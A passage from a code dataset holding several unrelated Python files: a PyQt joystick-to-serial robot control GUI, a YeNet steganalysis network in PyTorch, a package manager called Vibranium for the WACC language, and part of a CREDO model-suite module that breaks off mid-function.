windows\n                self.transmit = serial.Serial(NameCOM, 115200, timeout=2.5)\n                #for ubuntu\n                # self.transmit = serial.Serial(\"/dev/pts/5\",115200,timeout=2.5)\n                self.COM.setEnabled(False)\n                self.connect.setText('DISCONNECT')\n                self.connect.setStyleSheet('QPushButton {color: red;}')\n                self.re_se_data.append('Serial port ' + NameCOM + ' opened')\n                comconnect = True\n            else:\n                self.COM.setEnabled(True)\n                self.transmit.close()\n                self.connect.setText('CONNECT')\n                self.connect.setStyleSheet('QPushButton {color: green;}')\n                self.re_se_data.append('Serial port ' + NameCOM + ' closed')\n                comconnect = False\n        except IOError:\n            data=\"<span style=\\\"color:#ff0000;\\\" >\"\n            data+=('Serial port ' + NameCOM);\n            if(comconnect == False):\n                data+=\" opening \"\n            else:\n                data+=\" closing \"\n            data+=\"error <\\span>\"\n            self.re_se_data.append(data)\n\n    def manual_mode(self):\n        global control                          \n        self.controlmode_label.setText(\"Manual\")\n        control = mode.manual\n        self.timer.setInterval(16)\n        self.controlmode()\n\n    def auto_mode(self):\n        global control\n        self.controlmode_label.setText(\"Auto\")\n        control = mode.auto\n        self.timer.setInterval(100)\n        self.controlmode()\n\n    def stop_mode(self):\n        global control\n        self.controlmode_label.setText(\"Stop\")\n        control = mode.stop\n        self.timer.setInterval(100)\n        self.controlmode()\n\n    def debug_mode(self):\n        global control\n        self.controlmode_label.setText(\"Debug\")\n        control = mode.debug\n        self.timer.setInterval(16)\n        self.controlmode()\n\n    def choiceJoystick(self):\n        global joystick_choice,choiceJoystickstatus,Joystickconect\n        print(self.device.currentIndex())\n        choiceJoystickstatus=True\n        Joystickconect=True\n\n    def getjoystick(self):\n        global joystick_no\n        num_joy = pygame.joystick.get_count()\n        if (num_joy > 0):\n            self.device.clear()\n            for x in range(num_joy):\n                joystick_no = pygame.joystick.Joystick(x)\n                joystick_no.init()\n                self.device.addItem(joystick_no.get_name())\n                self.ID_device.setText(str(joystick_no.get_id()))\n\n    def controlmode(self):\n        global control\n        if (control == mode.stop):\n            self.stop.setEnabled(False)\n            self.auto_2.setEnabled(True)\n            self.manual.setEnabled(True)\n            self.debug.setEnabled(True)\n        elif (control == mode.manual):\n            self.stop.setEnabled(True)\n            self.auto_2.setEnabled(True)\n            self.manual.setEnabled(False)\n            self.debug.setEnabled(True)\n        elif(control == mode.debug):\n            self.stop.setEnabled(True)\n            self.auto_2.setEnabled(True)\n            self.manual.setEnabled(True)\n            self.debug.setEnabled(False)\n        else:\n            self.stop.setEnabled(True)\n            self.auto_2.setEnabled(False)\n            self.manual.setEnabled(True)\n            self.debug.setEnabled(True)\n\n    def changevalue(self):\n        global globaldebug\n        globaldebug[0]=int(self.leftspeed.value())\n        globaldebug[1]=int(self.rightspeed.value())\n\n    def sendpid(self):\n        pass\n\n    def senddata(self):\n        displaydata=\"<span style=\\\"color:#000000;\\\" >\"\n        maindata=self.testsend.text()\n        displaydata+=maindata\n        displaydata+=(\"</span>\")\n        self.re_se_data.append(displaydata)\n        self.testsend.clear()\n        if comconnect==True:\n            maindata+=\"\\n\"\n            self.transmit.write(maindata.encode())\n        else:\n            self.re_se_data.append(\"<span style=\\\"color:#C0C0C0;\\\" > Comms isn't connect </span>\")\n\n    def getdata(self):\n        global dataread,transmit\n        bytetoread=[]\n        if comconnect == True:\n            bytetoread=self.transmit.inWaiting()\n            if bytetoread > 0:\n                # maindata=str(self.transmit.read(bytetoread),'utf-8')\n                rawdata=self.transmit.read(bytetoread)\n                str_data=str(rawdata)\n                str_data=str_data.replace(\"\\'\",\"\")\n                str_data=str_data.replace(\"b\",\"\")\n                self.messageDecoder(rawdata,len(rawdata))\n                displaydata=\"<span style=\\\"color:#ff0000;\\\" >\"\n                displaydata+=str_data\n                displaydata+=(\"</span>\")\n                self.re_se_data.append(displaydata)\n                # print(database_t.velocity.velocity1)\n        # print('Hello mother facker')\n\nclass backgroundProcess():\n    def __init__(self, ID, name):\n        super(backgroundProcess).__init__()\n        self.getdatafromJoystick()\n\n    def getdatafromJoystick(self):\n        global control,axis,button,datasendalpha,choiceJoystickstatus,joystick_no,joystick_choice,Joystickconect\n        cache = []\n        datasend=[]\n        while(1):\n            cachedic=0\n            if(choiceJoystickstatus==True):\n                choiceJoystickstatus=False\n                joystick_no=pygame.joystick.Joystick(joystick_choice)\n                joystick_no.init()\n            pygame.event.pump()\n            if((control==mode.manual  and Joystickconect==True) or control==mode.debug):\n                if(control==mode.manual):\n                    x=round(joystick_no.get_axis(0)*100,0)\n                    y=-round(joystick_no.get_axis(1)*100,0)\n                    if(x!=0):\n                        alpha=math.atan(y/x)\n                        alpha*=(180/3.14)\n                    else:\n                        if(y>=0):\n                            alpha=90\n                        elif(y<0):\n                            alpha=-90\n\n                    if(abs(alpha)>60):\n                        axis[0]=y\n                        axis[1]=y\n                    elif(abs(alpha)<=30):\n                        axis[1]=x\n                        axis[0]=-x\n                    else:\n                        if(x>0):\n                            axis[1]=y\n                            axis[0]=y*abs(alpha/70)\n                        else:\n                            axis[1]=y*abs(alpha/70)\n                            axis[0]=y\n                    for i in range(5):\n                        button[i]=joystick_no.get_button(i)\n                else:\n                    axis[0]=globaldebug[0]\n                    axis[1]=globaldebug[1]\n\n                for i in range(2):\n                    if(axis[i]<0 or axis[i]==-0):\n                        cacheaxis=abs(axis[i])\n                        if (i==0):\n                            cachedic+=1\n                        else:\n                            cachedic+=2\n                    else:\n                        cacheaxis=axis[i]\n\n                    if(cacheaxis<10):\n                        cache+=\"00\"\n                    elif (cacheaxis<100):\n                        cache+=\"0\"\n\n                    if(i==0):\n                        cache+=str(int(cacheaxis))\n                    elif(i==1):\n                        cache+=str(int(cacheaxis))\n                        cache+=str(int(cachedic))\n\n                # cache+=\".\"\n                cache+=str(len(cache))\n                cache+=\"]\"\n                datasend=''.join(cache)\n                print(\"{}\".format(datasend))\n                datasendalpha=datasend\n                #transmit.write(datasend.encode())\n                cache=[]\n                cache+=\"[\"\n                datasend=[]\n            time.sleep(0.016)\n\ndef UIbuild():\n    app = QtWidgets.QApplication(sys.argv)\n    GUI = GUI_Init(1,\"GUI_builder\")\n    GUI.show()\n    sys.exit(app.exec_())\n\nif __name__ == \"__main__\":\n    pygame.display.init()\n    pygame.joystick.init()\n    UIbuild()","repo_name":"nhatmicls/ManualControl","sub_path":"GUI/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":13580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14594622091","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.nn.parameter import Parameter\nimport torch.nn.functional as F\n\n# 图像预处理层，先用numpy载入初始化的30个SRM核的数据\nSRM_npy = np.load('./file/kernel.npy')\n\n\n# 图像预处理层的类\nclass SRM_conv2d(nn.Module):\n    def __init__(self, stride=1, padding=2):\n        super(SRM_conv2d, self).__init__()\n        # 输入1层（图像）\n        self.in_channels = 3\n        # 输出30层，因为是有30个卷积核，分别进行计算得到30个\n        self.out_channels = 30\n        # 设置卷积核大小\n        self.kernel_size = (5, 5)\n        # 设置步长\n        if isinstance(stride, int):\n            self.stride = (stride, stride)\n        else:\n            self.stride = stride\n        # 设置padding\n        if isinstance(padding, int):\n            self.padding = (padding, padding)\n        else:\n            self.padding = padding\n        # 卷积膨胀\n        self.dilation = (1,1)\n        # 转置\n        self.transpose = False\n        # padding\n        self.output_padding = (0,)\n        # 分组，默认设置成1组\n        self.groups = 1\n        # 设置预处理层卷积核权值为30个5*5的Tensor，此时只是设置，并没有初始化\n        self.weight = Parameter(torch.Tensor(30, 3, 5, 5),requires_grad=True)\n        # 设置预处理层卷积核偏置为30个Tensor，此时只是设置，并没有初始化\n        self.bias = Parameter(torch.Tensor(30),requires_grad=True)\n        # 重置上面值的大小\n        self.reset_parameters()\n\n    def reset_parameters(self):\n        # 将上面加载的SRM核，载入到self.weight中\n        self.weight.data.numpy()[:] = SRM_npy\n        # 默认设置偏置为0\n        self.bias.data.zero_()\n\n    def forward(self, input):\n        # 前向计算\n        return F.conv2d(input, self.weight, self.bias, self.stride, self.padding, self.dilation, self.groups)\n\n\n# 卷积模块\nclass ConvBlock(nn.Module):\n    def __init__(self, in_channels, out_channels, kernel_size=3, stride=1, with_bn=False):\n        super(ConvBlock, self).__init__()\n        # 卷积运算\n        self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding=1)\n        # relu激活函数\n        self.relu = nn.ReLU()\n        # 传递启用BN层的参数\n        self.with_bn = with_bn\n        # 如果启用BN层参数开启\n        if with_bn:\n            # BN计算\n            self.norm = nn.BatchNorm2d(out_channels)\n        else:\n            # 若未开启，则不进行BN层计算，直接传递运算结果\n            self.norm = lambda x: x\n        self.reset_parameters()\n\n    def forward(self, x):\n        # 前向���算\n        return self.norm(self.relu(self.conv(x)))\n\n    def reset_parameters(self):\n        # 卷积模块权值初始化\n        nn.init.xavier_uniform_(self.conv.weight)\n        # 偏置初始化\n        self.conv.bias.data.fill_(0.2)\n\n\n# YeNet总体\nclass YeNet(nn.Module):\n    # 构造网络\n    def __init__(self):\n        super(YeNet, self).__init__()\n        # 图像预处理层\n        self.preprocessing = SRM_conv2d()\n        # 卷积模块\n        self.block2 = ConvBlock(30, 30, 3)\n        self.block3 = ConvBlock(30, 30, 3)\n        self.block4 = ConvBlock(30, 30, 3)\n        # pooling\n        self.pool1 = nn.AvgPool2d(2, 2)\n        self.block5 = ConvBlock(30, 32, 3,)\n        self.pool2 = nn.AvgPool2d(2, 2)\n        self.block6 = ConvBlock(32, 32, 3,)\n        self.pool3 = nn.AvgPool2d(2, 2)\n        self.block7 = ConvBlock(32, 32, 3,)\n        self.pool4 = nn.AvgPool2d(2, 2)\n        self.block8 = ConvBlock(32, 16, 3)\n        self.block9 = ConvBlock(16, 16, 3)\n        # 线性激活层\n        self.ip1 = nn.Linear(4 * 4 * 16, 2)\n        # 根据条件重置参数\n        self.reset_parameters()\n\n    # 前向计算\n    def forward(self, x):\n        # 转换成float\n        x = x.float()\n        # 预处理\n        x = self.preprocessing(x)\n        x = F.relu(x)\n        # 卷积运算\n        x = self.block2(x)\n        x = self.block3(x)\n        x = self.block4(x)\n        # pooling\n        x = self.pool1(x)\n        # print(np.shape(x))\n        x = self.block5(x)\n        x = self.pool2(x)\n        # print(np.shape(x))\n        x = self.block6(x)\n        # x = self.pool3(x)\n        x = self.block7(x)\n        x = self.pool4(x)\n        # print(np.shape(x))\n        x = self.block8(x)\n        x = self.block9(x)\n        # print(np.shape(x))\n        # 维度转换\n        x = x.view(x.size(0), -1)\n        # 全连接层\n        x = self.ip1(x)\n        return x\n\n    def reset_parameters(self):\n        for mod in self.modules():\n            # 卷积层重置参数，这个根据卷积层，图像预处理层\n            if isinstance(mod, SRM_conv2d) or isinstance(mod, ConvBlock):\n                mod.reset_parameters()\n            # 线性激活层\n            elif isinstance(mod, nn.Linear):\n                # 权值初始化\n                nn.init.normal_(mod.weight, 0., 0.01)\n                # 偏置初始化\n                mod.bias.data.zero_()\n\ndef init():\n    return YeNet()","repo_name":"qzf136/CNN-adversary","sub_path":"YeNet.py","file_name":"YeNet.py","file_ext":"py","file_size_in_byte":5109,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"74716897608","text":"import argparse\nimport os\nimport sys\nimport configparser\nimport glob\nimport requests\n\nclass Vibranium:\n\n    def __init__(self):\n\n        # Set WACCANDA endpoint\n        self.api = 'http://localhost:3000/api/'\n\n        # Check if $WACC_HOME is set\n        try:\n            os.environ['WACC_HOME']\n        except KeyError:\n            print(\"ERROR: $WACC_HOME environment variable not set! Is the WACC compiler installed correctly?\")\n            exit(1)\n\n        # Then commence business as usual\n        parser = argparse.ArgumentParser(description='The Vibranium package manager for the WACC language.',\n            usage='''vibranium <command> [<args>]\n            \nValid commands:\ninit        set up a Vibranium project\ninstall     install a package\nremove      remove a package\ncompile     compile a project''')\n        parser.add_argument('command', metavar='command', type=str, help='the command you wish to run.')\n        \n        args = parser.parse_args(sys.argv[1:2])\n        if not hasattr(self, args.command):\n            print('Unknown command!')\n            parser.print_help()\n            exit(1)\n\n        # Dispatch command\n        getattr(self, args.command)()\n\n    def init(self):\n        \"\"\" Initialise folder structure and config file\"\"\"\n        try:\n            os.mkdir('.installed_packages')\n        except FileExistsError:\n            print(\"WARNING: It seems that the package directory has already been initialised!\")\n        \n        # Create installed packages directory\n        if not os.path.exists('.installed_packages/package.directory'):\n            with open('.installed_packages/package.directory', 'w+') as f:\n                f.write('')\n                f.close()\n\n        # Create main file\n        if not os.path.exists('main.wacc'):\n            with open('main.wacc', 'w+') as f:\n                f.write('begin\\nskip\\nend')\n                f.close()\n\n        # Configure config\n        cp = configparser.ConfigParser()\n        cp['SETTINGS'] = {'entrypoint': 'main.wacc',\n                          'output_dir': 'out'}\n        cp['DEPENDENCIES'] = {}\n        with open('vibranium.config', 'w+') as f:\n            cp.write(f)\n            f.close()\n\n        print(\"Initialisation successful!\")\n\n    def install(self):\n        \"\"\" Installs a package \"\"\"\n        parser = argparse.ArgumentParser(description='Installs packages')\n        parser.add_argument('package', metavar='package', help='package name. leave empty to install all dependencies.', nargs='*')\n        parser.add_argument('--save', '-s', default=False, action='store_true', \n            help='should the package be saved to the requirements?')\n        args = parser.parse_args(sys.argv[2:])\n        packages = args.package\n\n        # Install requirements\n        if len(packages) == 0:\n            cp = configparser.ConfigParser()\n            cp.read('vibranium.config')\n            deps = list(cp['DEPENDENCIES'].items())\n            packages = ['{}=={}'.format(p,v) for (p,v) in deps]\n\n        # Otherwise, business as usual\n        print('Installing ' + ', '.join(packages))\n        # Open package directory\n        if not os.path.exists('.installed_packages/package.directory'):\n            print(\"ERROR: Cannot find package directory! Has the project been initalised properly?\")\n            exit(1)\n        cp = configparser.ConfigParser()\n        cp.read('.installed_packages/package.directory')\n        \n        # Check if we already have the package\n        for package in packages:\n            version = 'latest'\n            if '==' in package:\n                version = package.split('==')[1]\n                package = package.split('==')[0]\n            if package in cp.keys():\n                p = cp[package]\n                if (p['version'] == version):\n                    print('Package already present!')\n                    exit(0)\n            \n            # Download the package!\n            url = self.api + 'install/{}/{}'.format(package, version)\n            r = requests.post(url)\n\n            # Check if found\n            if r.content == b'missing':\n                print('ERROR: package \"{}\" has gone missing on our server!'.format(package))\n                exit(1)\n                \n            if r.content == b'not found':\n                print('ERROR: package \"{}=={}\" couldn\\'t be found!'.format(package, version))\n                exit(1)\n\n            # Write to packages\n            dpath = '.installed_packages/{}.wacc'.format(package)\n            with open(dpath, 'wb+') as f:\n                f.write(r.content)\n                f.close()\n\n            # Update package directory\n            cp[package] = {\n                'version': 'latest',\n                'path': dpath\n            }\n            with open('.installed_packages/package.directory', 'w+') as f:\n                cp.write(f)\n                f.close()\n            if args.save:    \n                cp = configparser.ConfigParser()\n                cp.read('vibranium.config')\n                cp['DEPENDENCIES'][package] = version\n                with open('vibranium.config', 'w') as f:\n                    cp.write(f)\n                    f.close()\n                    \n            print(\"INSTALL SUCCESS!\")\n\n    def remove(self):\n        \"\"\" Removes a package \"\"\"\n        parser = argparse.ArgumentParser(description='Removes packages')\n        parser.add_argument('package', metavar='package', help='Package name', nargs='+')\n        parser.add_argument('--save', '-s', default=False, action='store_true', \n            help='Should the package be removed from the requirements?')\n        args = parser.parse_args(sys.argv[2:])\n\n        print('removing')\n        if args.save:\n            print('saving')\n\n    def compile(self):\n        \"\"\" Compiles a program \"\"\"\n        cwd = os.getcwd()\n        # Check if is valid project\n        if not os.path.exists(os.path.join(cwd, 'vibranium.config')):\n            print(\"ERROR: this is not a valid vibranium project\")\n            exit(1)\n\n        # Read config\n        cp = configparser.ConfigParser()\n        cp.read('vibranium.config')\n\n        # Get subdirs to include\n        includePaths = [x[0] for x in os.walk(cwd)]\n        includePathsArg = ' '.join(includePaths)\n        \n        # Get install folder for self\n        install_dir = os.path.dirname(os.path.realpath(__file__))\n        ass = 'sh ' + os.path.join(install_dir, 'assemble.sh')\n        comp = 'sh ' + os.path.join(install_dir, 'compile.sh')\n        link = 'sh ' + os.path.join(install_dir, 'link.sh')\n        \n        # Create build directory\n        output_dir = 'build'\n        try:\n            output_dir = cp['SETTINGS']['output_dir']\n        except KeyError:\n            print(\"ERROR: config doesn't define 'output_dir'!\")\n            exit(1)\n\n        if os.path.exists(output_dir):\n            os.system('rm -r ' + output_dir)\n        os.mkdir(output_dir)\n\n        # Get files to compiled\n        filesToCompile = []\n        for r, _, f in os.walk(os.getcwd()):\n            for file in f:\n                if '.wacc' in file:\n                    filesToCompile.append(os.path.join(r, file))\n\n        # Get a list of any existing assembler files\n        sFiles = set(glob.glob('*.s'))\n\n        # Compile all of them\n        for f in filesToCompile:\n            print('Compiling {}...'.format(f))\n            returnCode = os.system(comp + ' ' + f + ' ' + includePathsArg)\n            if returnCode != 0:\n                print('COMPILE FAILED!')\n                exit(1)\n\n        # Find all new ASM files \n        sFiles = set(glob.glob('*s')) - sFiles \n\n        # Assemble the files\n        for f in sFiles:\n            print('Assembling {}...'.format(f))\n            returnCode = os.system(ass + ' ' + f + ' ' + os.path.join(output_dir, f[:-1] + 'o'))\n            if returnCode != 0:\n                print('COMPILE FAILED!')\n                exit(1)\n\n        # Kill the baby ASM files\n        os.system('rm ' + ' '.join(sFiles))\n\n        # Link the files\n        print('Linking objects...')\n        oFiles = glob.glob(os.path.join(output_dir, '*.o'))\n        returnCode = os.system(link + ' ' + os.path.join(output_dir, 'main') + ' ' + ' '.join(oFiles))\n        if returnCode != 0:\n            print('COMPILE FAILED!')\n            exit(1)\n            \n        # Success!\n        print(\"COMPILE SUCCEEDED!\")\n\nif __name__ == '__main__':\n    Vibranium()","repo_name":"bogdansurdu/vibranium-waccanda","sub_path":"vibranium/vibranium.py","file_name":"vibranium.py","file_ext":"py","file_size_in_byte":8362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"7797153396","text":"import copy\nimport os, glob\nimport itertools\nimport operator\nimport csv\n\nimport credo\nfrom credo import modelrun as mrun\nfrom credo import modelresult as mres\n\n# The below is for Python 2.5 compatibility\ntry:\n    import itertools\n    product = itertools.product\nexcept AttributeError:\n    import credo.utils\n    product = credo.utils.productCalc\n\nclass ModelResultNotExistError(Exception):\n    \"\"\"Exception for specifying that a Model Result that CREDO was asked\n    to read in, doesn't exist.\"\"\"\n    pass\n\n\nclass ModelVariant:\n    \"\"\" A class that can be added to a :class:`.ModelSuite` to help \n    auto-generate a suite of ModelRuns to perform, where a particular\n    parameter is being varied over a certain range.\n\n    This is an abstract base class, you should select an actual ModelVariant.\n\n    .. attribute:: paramRange\n    \n       A list, containing the values that the parameter should be varied\n       over. E.g. [0,1,2], or [5.6, 7.8, 9.9]. Needs to be of the correct\n       type for the particular parameter. The Python \n       `range() <http://docs.python.org/library/functions.html#range>`_\n       function can be useful in generating such a list.\"\"\"\n\n    def __init__(self, paramRange):\n        self.paramRange = paramRange\n    \n    def applyToModel(self, modelRun, ii):\n        \"\"\"Function to apply the ii-th value of paramRange to a model.\"\"\"\n        raise NotImplementedError(\"Abstract base method, please over-ride\"\\\n            \" in your implementation.\")\n\n    def valLen(self):\n        \"\"\"Returns the length of the list of parameter values to vary\n        specified in :attr:`.paramRange`.\"\"\"\n        return len(self.paramRange)\n    \n    def valStr(self, ii):\n        \"\"\"Return a string version of the ii-th parameter value.\"\"\"\n        paramVal = self.paramRange[ii]\n        if type(paramVal) == float:\n            valStr = \"%g\" % paramVal\n        else:\n            valStr = str(paramVal)\n        return valStr\n\n\nclass StgXMLVariant(ModelVariant):\n    \"\"\"\n    A :class:`.ModelVariant` designed to modify StGermain XML model input\n    parameters.\n    \n    .. attribute:: paramPath\n    \n       The value to use when over-riding the parameter in a StGermain\n       dictionary, using the StGermain command line format.\n       \n       E.g. Setting \"gravity\" would override the gravity parameter in\n       the dictionary, whereas setting to \n       \"components.initialConditionsShape.startX\" would override the\n       startX parameter, within the initialConditionsShape component.\n    \"\"\"   \n    def __init__(self, paramPath, paramRange):\n        ModelVariant.__init__(self, paramRange)\n        self.paramPath = paramPath\n    \n    def applyToModel(self, modelRun, ii):\n        \"\"\"Apply the ii-th value in the attr:`.paramRange` to a particular\n        :class:`~credo.modelrun.ModelRun`.\"\"\"\n        modelRun.paramOverrides[self.paramPath] = self.paramRange[ii]\n    \n    def cmdLineStr(self, ii):\n        \"\"\"Return the command-line string to apply this value.\"\"\"\n        return credo.io.stgcmdline.paramStr(self.paramPath, self.paramRange[ii])\n\n\nclass JobParamVariant(ModelVariant):\n    \"\"\"A :class:`.ModelVariant` designed to modify job parameters.\n\n    .. attribute: jobParam:\n    \n       string name of parameter you wish to vary (eg \"nproc\").\n    \"\"\"   \n    def __init__(self, jobParam, paramRange):\n        ModelVariant.__init__(self, paramRange)\n        self.jobParam = jobParam\n    \n    def applyToModel(self, modelRun, ii):\n        \"\"\"Apply the ii-th value in the attr:`.paramRange` to a particular\n        :class:`~credo.modelrun.ModelRun`.\"\"\"\n        modelRun.jobParams[self.jobParam] = self.paramRange[ii]\n    \n    def cmdLineStr(self, ii):\n        \"\"\"Return the command-line string to apply this value.\"\"\"\n        return credo.io.stgcmdline.paramStr(self.jobParam, self.paramRange[ii])\n\n\ndef getParamValuesIter(modelVariants, iterGen):\n    \"\"\"Given a list of model variants and an iterator generator function\n    (eg itertools.izip or itertools.product) to use, generates\n    a specific iterator that can be used on the modelVariants to obtain\n    the actual param values.\"\"\"\n    paramIter = iterGen(*map(operator.attrgetter('paramRange'),\n        modelVariants.itervalues()))\n    return paramIter\n\ndef getParamValues(modelVariants, iterGen):\n    \"\"\"Shortcut to create a list of param values using\n    :func:`.getParamValuesIter`\"\"\"\n    paramIter = getParamValuesIter(modelVariants, iterGen)\n    return list(paramIter)\n\ndef getVariantIndicesIter(modelVariants, iterGen):\n    \"\"\"Given a list of model variants and iterator generator function to use,\n    generates an iterator of indices into the modelVariants list.\"\"\"\n    variantLens = [mv.valLen() for mv in modelVariants.itervalues()]\n    indexIterator = iterGen(*map(range, variantLens))\n    return indexIterator\n\ndef getVariantNameDicts(modelVariants, indicesIt):\n    \"\"\"Generates a list of dictionaries of parameters to be modified for each\n    model run, given a list of :class:`.StgXMLVariant` and an iterator into\n    them (e.g. generated by :func:`.getVariantIndicesIter`.\n    \"\"\"\n    paramDicts = []\n    modelVarList = modelVariants.values()\n    for indexSet in indicesIt:\n        newDict = {}\n        for mvI, mvEntry in enumerate(modelVariants.iteritems()):\n            mvName, modelVar = mvEntry\n            paramVal = modelVar.paramRange[indexSet[mvI]]\n            newDict[mvName] = paramVal\n        paramDicts.append(newDict)\n    return paramDicts    \n\ndef getVariantParamPathDicts(modelVariants, indicesIt):\n    \"\"\"Generates a list of dictionaries of parameters to be modified for each\n    model run, given a list of :class:`.StgXMLVariant` and an iterator into\n    them (e.g. generated by :func:`.getVariantIndicesIter`.\n    \"\"\"\n    for mv in modelVariants.itervalues():\n        assert isinstance(mv, StgXMLVariant)\n    paramDicts = []\n    for indexSet in indicesIt:\n        newDict = {}\n        for mvI, modelVar in enumerate(modelVariants.itervalues()):\n            paramVal = modelVar.paramRange[indexSet[mvI]]\n            newDict[modelVar.paramPath] = paramVal\n        paramDicts.append(newDict)\n    return paramDicts\n\ndef getVariantCmdLineOverrides(modelVariants, indicesIt):\n    \"\"\"Generates a list of strings to use at cmd line for each\n    model run, given a list of :class:`.StgXMLVariant` and an iterator into\n    them (e.g. generated by :func:`.getVariantIndicesIter`.\n    \"\"\"\n    overrideCmdLines = []\n    for indexSet in indicesIt:\n        overStrs = [] \n        for mvI, modelVar in enumerate(modelVariants.itervalues()):\n            overStrs.append(modelVar.cmdLineStr(indexSet[mvI]))\n        overrideCmdLines.append(\" \".join(overStrs))\n    return overrideCmdLines\n\ndef getSubdirTextParamVals(modelVariants, paramIndices):\n    \"\"\"Creates a subdirectory text based on the names and values of each\n    variant.\"\"\"\n    subDirName = \"\"\n    varTexts = []\n    for mvI, mvEntry in enumerate(modelVariants.iteritems()):\n        mvName, modelVar = mvEntry\n        valStr = modelVar.valStr(paramIndices[mvI])\n        varTexts.append(\"%s_%s\" % (mvName, valStr))\n    subDirName = \"-\".join(varTexts)\n    return subDirName\n\ndef getTextParamValsSubdirs(modelVariants, indicesIt):\n    \"\"\"Given a list of :class:`ModelVariants` and an index iterator,\n    returns a list of all subDirs to use.\"\"\"\n    subDirs = []\n    for indexSet in indicesIt:\n        subDirs.append(getSubdirTextParamVals(modelVariants, indexSet))\n    return subDirs\n\ndef getVarRunIs(varName, modelVariants, runDicts):\n    \"\"\"Given a variant name, modelVariants dict and iterGen function,\n    returns a mapping of values of the named modelVariant to run indices\"\"\"\n    varRunIs = {}\n    for varValue in modelVariants[varName].paramRange:\n        varRunIs[varValue] = []\n        for runI, runDict in enumerate(runDicts):\n            if runDict[varName] == varValue:\n                varRunIs[varValue].append(runI)\n    return varRunIs\n\ndef getResultsByVarRunIs(varRunIsMap, results):\n    \"\"\"Given a varRunIsMap generated by :func:`getVarRunIs` and an array of\n    results, gives a mapping directly from variant values to corresponding result.\"\"\"\n    resultsMap = {}\n    for varValue, varRunIs in varRunIsMap.iteritems():\n        resultsMap[varValue] = [results[runI] for runI in varRunIs]\n    return resultsMap\n\ndef getOtherParamValsByVarRunIs(varRunIsMap, varDicts, otherParam):\n    \"\"\"Given a varRunIsMaps generated by :func:`varRunIsMap`, a varDict and\n    the name of another variant param in the dict, returns a mapping from\n    the variant values to the values of the other param at the same indices.\"\"\"\n    otherValsMap = {}\n    for varValue, varRunIs in varRunIsMap.iteritems():\n        otherValsMap[varValue] = [varDicts[runI][otherParam] for runI \\\n            in varRunIs]\n    return otherValsMap\n\n################\n\ndef getSubdir_TextParamVals(modelRun, modelVariants, paramIndices, runIndex):\n    \"\"\"Generate an output sub-directory name for a run with\n    a printed version of :attr:`ModelSuite.modelVariants` names, \n    and vales for this run.\n    (Good in the sense of being fairly self-describing, but can\n    be long if you have many model variants).\"\"\"\n    subPath = getSubdirTextParamVals(modelVariants, paramIndices)\n    return subPath\n\ndef getSubdir_RunIndex(modelRun, modelVariants, paramIndices, runIndex):\n    \"\"\"Simply prints the index of the run as a subdirectory.\"\"\"\n    return \"%.5d\" % runIndex\n\ndef getSubdir_RunIndexAndText(modelRun, modelVariants, paramIndices, runIndex):\n    \"\"\"Subdir is based on both the run index, and the textual variant names.\"\"\"\n    subPath = getSubdirTextParamVals(modelVariants, paramIndices)\n    return \"%.5d-%s\" % (runIndex, subPath)\n\nclass ModelSuite:\n    '''A class for running a suite of Models (e.g. a group for profiling,\n    or a System Test that requires multiple runs).\n    \n    The two main ways of using this class are:\n\n    * Creating a :class:`.ModelSuite`, and then adding \n      :class:`~credo.modelrun.ModelRun` s to the suite using\n      the :meth:`.addRun` method.\n    * Creating a :class:`.ModelSuite`, and providing a\n      :class:`~credo.modelrun.ModelRun` as a template, then adding \n      :class:`.StgXMLVariant` s to define what sort of parameter\n      sweep should be performed. In this case, :meth:`.generateRuns()`\n      needs to be called after all variants have been added.\n\n    .. attribute:: outputPathBase\n\n       The base path to use for saving model results under.\n\n    .. attribute:: runs\n\n       A list of :class:`~credo.modelrun.ModelRun` s to be run as part of the\n       suite. See :meth:`.generateRuns` and :meth:`.addRun`.\n\n    .. attribute:: runDescrips\n\n       Short (eg 1 line) textual description for each ModelRun stored in the\n       :attr:`.runs`.\n\n    .. attribute:: runCustomOptSets\n\n       Custom sets of options (to be used at the command line) associated \n       with each run in :attr:`.runs` (strings).\n       \n    .. attribute:: resultsList\n\n       Initially `None`, after the suite has been run (using :meth:`.runAll`),\n       saves a reference to all :class:`~credo.modelresult.ModelResult` s\n       generated.\n\n    .. attribute:: subOutputPathGenFunc\n       \n       This function will can be used to customise the model sub-path based\n       on each modelRun. Override it if you wish to use other than the default.\n\n    .. attribute:: templateMRun\n\n       (Optional) setting this to an :class:`~credo.modelresult.ModelRun`\n       means this run can be used as a \"template\" to add variants to, \n       and create a parameter sweep over this run.\n\n       .. seealso: :meth:`.addVariant`, :meth:`generateRuns`, and\n          :class:`.StgXMLVariant`.\n    \n    .. attribute:: iterGen\n\n       (Related to auto-generation): A generator function to create an\n       iterator to use when auto-generating a suite based on modelVariants.\n       See Python module :mod:`itertools` module for more.\n\n    .. attribute:: modelVariants\n\n       Set of :class:`.StgXMLVariant` s to apply to the template run in\n       order to auto-generate a suite to vary certain parameters. See\n       :attr:`.templateMRun` for more.\n\n    '''\n\n    def __init__(self, outputPathBase, templateMRun=None):\n        self.outputPathBase = outputPathBase\n        self.runs = []\n        self.runDescrips = []\n        self.runCustomOptSets = []\n        self.resultsList = []\n        self.subOutputPathGenFunc = getSubdir_RunIndex\n        # Parameters related to dynamic generation\n        self.templateMRun = templateMRun\n        self.iterGen = None\n        self.modelVariants = {}\n\n    def addRun(self, modelRun, runDescrip=None, runCustomOpts=None,\n            forceOutputPathBaseSubdir=True):\n        \"\"\"Add a model run to the list of those to be run.\n\n        :param modelRun: A :class:`~credo.modelrun.ModelRun` to be added.\n        :keyword runDescrip: An (optional) string describing the run.\n        :keyword runCustomOpts: (optional) string of any custom options\n          that should be passed through to StGermain, only for this run.\n        :keyword forceOutputPathBaseSubdir: if True (default), will\n          update the model run's output dir to enforce it's a subdir of\n          :attr:`.outputPathBase`\n        :returns: the index of the newly added run in the modelRun list.\"\"\"\n        if not isinstance(modelRun, mrun.ModelRun):\n            raise TypeError(\"Error, given run not an instance of a\"\\\n                \" ModelRun\" % runI)\n        if forceOutputPathBaseSubdir:\n            commonPrefix = os.path.commonprefix([self.outputPathBase,\n                modelRun.outputPath])\n            if commonPrefix != self.outputPathBase:\n                newPath = 